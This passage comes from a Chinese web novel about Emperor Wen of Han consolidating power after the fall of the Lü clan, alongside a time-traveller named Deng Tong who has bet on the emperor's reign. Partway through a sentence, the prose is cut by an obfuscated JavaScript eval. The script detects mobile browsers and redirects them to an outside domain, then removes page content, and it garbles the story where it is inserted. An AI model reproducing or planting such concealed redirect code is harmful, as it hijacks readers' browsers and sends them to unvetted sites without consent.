他停顿了一下,语气变得有些幽深,“周勃、陈平,位极人臣,赏无可赏,便赐其金帛、增其食邑,极尽尊荣,以定朝局。” “齐王朕会下诏褒奖其忠勇,增其封邑,但驷钧之辈,不得入中枢。刘章、刘兴居,朕之侄儿,英勇可嘉,朕自会念及骨肉亲情,不吝爵位。灌婴此人乃军中宿将,其心需抚,其权——” 刘恒没有再说下去,但众人都已心领神会。 “明日朝会,”刘恒最终说道,“便依此议,详加斟酌。既要酬谢功臣,稳固人心,也要让这未央宫能听到尔等的声音!” 刘恒的声音不大,仿佛有种安定人心的力量,大家紧绷的心神渐渐放松下来,而且因为目标明确而变得有些振奋,纷纷点头应诺。 事情讨论完毕,大家也就准备下班了,只有宋昌落在最后。 “陛下,前几日您叫我查的那个竹签已经查到出处了。” 刘恒抬起眼,示意宋昌说下文。 “那是城南一家赌坊开的盘口,背后的人是琅琊王。” “原来是王叔他老人家的生意。”刘恒没有觉得太意外,只问道,“赌什么的?” “赌——”宋昌瞅了刘恒一眼,小心翼翼地开口道,“赌陛下能做多久的皇帝。” 刘恒没有动怒,反而笑道:“琅琊王倒是会赚钱。他们都觉得朕做不久这个皇帝吧?” 宋昌没吭声。 “你觉得朕能做稳这个皇帝吗?”刘恒突然问道。 宋昌心头一震,抬头道:“陛下天命所归——” 刘恒没摆了摆手,没有让宋昌说下去,而是问道:“那张竹签押的是什么?” 宋昌稳了稳自己砰砰乱跳的心脏,咬牙道:“押的是陛下能安坐龙椅一年以上。” 怕刘恒误解,宋昌赶忙解释道,“这已经是赌坊给得最长的时限了。” 刘恒失笑:“押注之人叫什么名字?” “邓通,是上林苑钩盾署的一名黄头郎。” “看来此人倒是对朕颇有信心。”刘恒又一次笑了起来,“你去朕的私库取五百金,给朕也押这一注!” 宋昌在心里为琅琊王默哀了一息,不管琅琊王这钱能不能赚上,人是被他们陛下记住了。 而且现在赌一年以上还是一比二十的赔率,五百金如果赢了,赌坊就要赔付一万金。到时候即便琅琊王身家雄厚,一万金也是够让人肉痛的。 富贵险中求,而且宋昌觉得他们家陛下赢面还是要更大一些,他决定跟一把,把自己的老婆本五十金也押上。 9.邓通没有辞职的第九天 押注的凭签不见了,邓通也不敢声张。自己偷偷摸摸一连找了三天,把自己平时可能经过的地方里里外外仔仔细细找了个遍,愣是没找到。 这东西对不认识的人来讲,不过是破竹片一张,弯腰去捡恐怕都嫌费劲。如今找不见,邓通觉得多半是被识货的人捡了去——十有八九跟他一样是个赌狗。 邓通在心里对大汉某些宫廷人员的素质表示强烈谴责的同时,不得不接受自己痛失五金,以及未来可预见的一百金也不翼而飞的事实。 黄头郎一年的基本工资大概在一万钱左右,加上三不五时收获的一些贵人的打赏,一年下来大概会有七八万钱,也就是接近七八金的收入。 邓通穿越过来已经一年有余,因为平时吃住在上林苑,收入基本都攒了下来。他这次花五金押注汉文帝,那真是下了血本了。现在血本无归,邓通怀疑是穿越之神在警告他别想着走捷径发财。 好在这损失倒也不是不能承受,只是这辞职创业的进度就不得不往后延一延了。 长安居大不易。长安普通的单人客舍租住一天就得五十钱,只管一顿饭,一个月就要一千五百钱,随行车马还要另外收草料费。自己租房子要便宜些,一个月可能只需八百钱。只是如果打算养牲畜,租个带院子和马棚的房子,就要更贵一些,一个月可能也需要一千二百文左右。 这些还不包括吃饭的钱。所以如果邓通打算以后在长安城做豆腐生意,这租房加吃饭一年可能就需要二万钱左右。然后再加上第一年买牲畜、买豆子以及其他制豆腐工具的成本,一年可能需要五六万钱。他还得预备这个豆腐生意并不成功,需要有一些兜底的资金,不然到时候豆腐卖不出去可能真的只能在长安大街喝西北风。 所以这黄头郎的工作还是得继续干一段时间,多攒点启动资金才好辞职出去创业。 唯一的麻烦就是汉文帝已经来了长安,还进宫当上了皇帝,不过邓通想了想感觉问题也不大。 一是两人现在虽然同处长安,但他平时主要的活动范围在上林苑,汉文帝则在未央宫,两人会面的概率虽然较从前汉文帝在代地有所增加,但是真正能碰面且被汉文帝注意到的机会还是很少的。 譬如之前两次,两人虽然在城门口和上林苑中有过短暂的时空交汇,但是他只是个路人甲,完全不会被汉文帝注意到。所以即便他就是历史上的邓通,这命运的齿轮也不是想转就能转动得起来的。 二来汉文帝现在是新官上任,还是空降领导,肯定忙着整顿职场,应该是没有心情也没有精力来理会他这种小虾米的。鉴于目前大汉职场的复杂程度,邓通乐观估计自己还有很长一段时间的安全期,应该足够他攒够创业基金了。 邓通想得倒也不算错,刘恒的确在整顿职场,不过他并没有很忙。 刘恒并不是第一次空降当领导,早在他八岁那年,他就带着他妈去代地就藩了。藩地实际的一把手——相国,还有不少官员都是朝廷安插设置的,他还有一个大权在握在一旁虎视眈眈的嫡母。 刘邦庶出的儿子们大多数都面临这个副本,但是看一下这个副本的通过率。 刘恒的大哥,齐王刘肥,被吕后下毒,割地保命,但是最后还是惊惧而死。 三哥赵王刘如意,刘邦觉得最像自己的儿子,曾经心心念念想让他当太子,十来岁时被吕后毒死了。他的母亲戚夫人也受彘刑而死。 五弟梁王刘恢,吕后迫娶他娶吕氏的女子做王后,结果宠妃被吕氏所杀,就自杀殉情了。吕后觉得他丢人,把他除国了。 六弟淮阳王刘友,也是被吕后逼迫娶吕氏女子做王后,但是因为宠爱其他姬妾,就被诬告谋反,被吕后幽禁在长安饿死。 八弟燕王刘建打猎坠马,唯一的儿子被吕后派人杀害,因为绝嗣封国也没了。 只有一个淮南王,因为母亲早死,吕后一手将他带大,得以幸免于难。 副本通关率几乎为零。但是刘恒不仅带着他妈平安无恙地活过了十五年,还掌握了代地的军政大权。 现在的情形和过去也差不多,都是空降,都是面对一堆大权在握的老臣子,现在这个副本甚至因为少了吕后这个大boss而刘恒自己也成年了而显得难度还低了一些。所以刘恒真的是适应良好。 而且除了业务能力,刘恒的心性也在上一个副本里也得到了很好的锻炼。 他从小就知道韬光养晦,从不和他的老父亲刘邦传任何“我跟爸爸很像”的传闻,立志在宫廷里当一个透明人(他做到了,八岁之前没有任何史料)。刚出生的时候他妈还传了一些苍龙盘踞在腹部的言论,等他长大一点,这传言就默默地销声匿迹了。 吕后让他娶吕氏女子为代王后,他的哥哥弟弟们都在寻死觅活,但是他就毫不含糊地娶,五六年间实打实跟人生了四个儿子,一副以后要把代国传给吕氏儿子的架势。小小年纪就对自己这么狠,他不成功谁成功(而且年轻人身体就是好)。 吕后自然满意呀,不过也没完全放心。代地地处边境,也不富裕,吕后就提出要改封刘恒为赵王,赵国封地可就大了,也更富庶,换一般人不管是恐惧还是贪婪,可能都会答应,但是刘恒就给拒绝了,说他的才能只能治理代地,治理不了太大的疆土。 吕后那就只有更高兴的,因为刘恒能拒绝一是说明他真的没野心,二也是说明刘恒是真心爱重吕氏女子,不是为了谋求好处。 而且刘恒和他的名字一样,真的很有耐心,做这些功夫并不是一朝一夕的,而是十几年如一日。精明如吕后都相信了刘恒确实是个老实人,琅琊王刘泽被蒙蔽自然也不冤枉。长安城里这些不了解刘恒的朝臣对他的认知也还停留在过去那个老实人的印象当中。这无疑也减轻了刘恒目前的工作难度。 刘恒正式入职以后,他也没有急着做什么,而是先给功臣们论功行赏。这件事没有任何人反对,因为谁不喜欢发奖金的领导呢。 刘恒首先奖励的是太尉周勃,他是这次诛吕的头号功臣,算是帮刘氏重新夺回了江山。但是太尉已经是全国军队的最高统帅了,官职上已经没有进步的空间了。周勃身上也有绛侯的爵位,再封只能封王了。 好在刘邦留下了非刘氏不可封王的遗训。刘恒可以避免给周勃封王,给他更大的实权。周勃本人即便想被封,面上也不能说什么。 所以刘恒先给周勃加封了食邑一万户,这个食邑的意思就是说这一万户以后的赋税都归周勃了,这个还可以世袭,相当于给了周勃一笔源源不断的钱。然后再额外赏赐周勃五千金现金,也就是五千万钱。按照这个时候的购买力,刘恒相当于直接给周勃发了几个亿。虽然周勃钱已经很多了,但是谁也不会讨厌这么一笔巨款。 然后刘恒就趁着周勃高兴的时候,提出来把还在周勃手上调动长安城南军和北军的虎符交给他在代地的侍卫队队长宋昌。这个军队是长安的安保力量,理论上就是皇帝来掌握,以前是吕家人掌握,周勃诛杀吕氏以后就暂时归到周勃手里了,刘恒做了皇帝要收回来也无可厚非。 周勃因为暂时也不打算造反,又刚收了皇帝的一笔巨款,就还是把虎符交了出来。但是心里到底是不大情愿的,原本准备联合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562476|186319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老兄弟们在政务上给刘恒使点绊子。结果刘恒又放出风声,要再立一个丞相。 汉朝设立了左右两位丞相,其中以右为尊。但是实际上经常只有一位丞相在职,比如刘邦当皇帝的时候设立了两个丞相,但是一般只有右丞相萧何,韩信曾经做过左丞相,但是大家都知道,他最后人没了,这个左丞相的位置一般是空着。 现在也是只有右丞相陈平一个人。丞相和太尉虽然都属于三公,官职都到顶了,但是大汉朝的丞相才是总揽政务的一把手。太尉说是掌管全国兵马,但是没有虎符,什么兵马都调动不了。所以要是能当丞相,肯定比当太尉强。 周勃原本以为自己能当个左丞相就不错了,结果刘恒没有立即下旨,而是把他和陈平两个人都找去,和两个人一起回忆了一下自己的皇帝父亲。然后夸两人这次为保卫刘氏江山立下的汗马功劳。陈平是个聪明人,就主动说他身体不太好,前段时间就病了,承担不了太繁重的政务,而且这一次诛吕周勃功劳比他大多了,他愿意举荐周勃当右丞相。 刘恒原本就是这个打算,于是就封周勃当右丞相,让陈平当左丞相。同时为了酬谢陈平这次的功劳和知情识趣,他也给陈平封赏了食邑二千户,黄金三千金。 周勃于是满意了,也不觉得南北军的虎符被拿走了老大不开心了。陈平也没啥不满意,他是个聪明人,知道新领导上台,肯定避免不了和他们这些老臣子们组成的小团伙交锋。周勃愿意当这个出头鸟,他自然也没意见。而且不管是谁任命的,周勃想当丞相,想分他的权是事实。所以陈平也不提醒周勃,只一脸真诚地表示有人帮他分担沉重的政务了。 刘恒于是轻轻松松通过封赏就拿到了长安军队的控制权。还让功臣集团两个大佬产生了不大不小的龃龉。 奖励完老臣们中的两个代表。刘恒又开始着手奖励刘氏宗亲们。他们这次不管是真心还是假意,反吕还是出了力的。 刘恒先奖励了刘泽,这人虽然怀揣着一点小心思,但是也算是他当皇帝的举荐人,还是要表彰一下。因为刘泽之前当琅琊王的封地也没了,刘恒就改封他为燕王。封地也是现成的,就是之前吕通的地盘。 然后就是齐王三兄弟。 首先是齐王,反吕他肯定算是有功劳。但是齐王刘襄起兵反吕可不是为了让他刘恒当皇帝,后面没直接来长安就职也不是因为他不想,而是灌婴带了大军把他军队拦住了,不让他进关中,他才不得不回封地齐国去了。所以刘恒就把吕后时期占去的原齐国领土琅琊郡,城阳郡,济南郡还给了齐王,算是奖励。 然后是齐王的两个弟弟刘章和刘兴居,他们也是出了大力的。不过他们那么卖力也是因为想当皇帝的兄弟,而不是想当皇帝的侄子。而且两兄弟一个想当赵王,一个想当梁王,如果他们的兄弟齐王真当上皇帝了,他们的梦想和努力也算是配得上。只可惜是他们的四叔当上皇帝了。 刘恒给刘章加封二千户食邑,封了城阳王,刘兴居也加封二千户食邑,封济北侯。两个地名是不是很眼熟,没错,封地从刚刚还给他们哥哥齐王的封地里出。 刘恒只出了一些赋税,原本偌大的一个齐国,却被一分为三,还成功让齐王大兄弟没有一个不膈应的。而且因为不再是利益共同体,三个人以后只会互相防备,互相牵制,再也不会真的拧成一股绳。 刘恒因为深谙领导的艺术,就职以后称得上是游刃有余,所以他不光早睡早起,平时还很闲(目前主要的政事都是丞相来处理),所以在奖励完这些老臣和宗亲们以后,他决定奖励自己去上林苑游玩放松一下。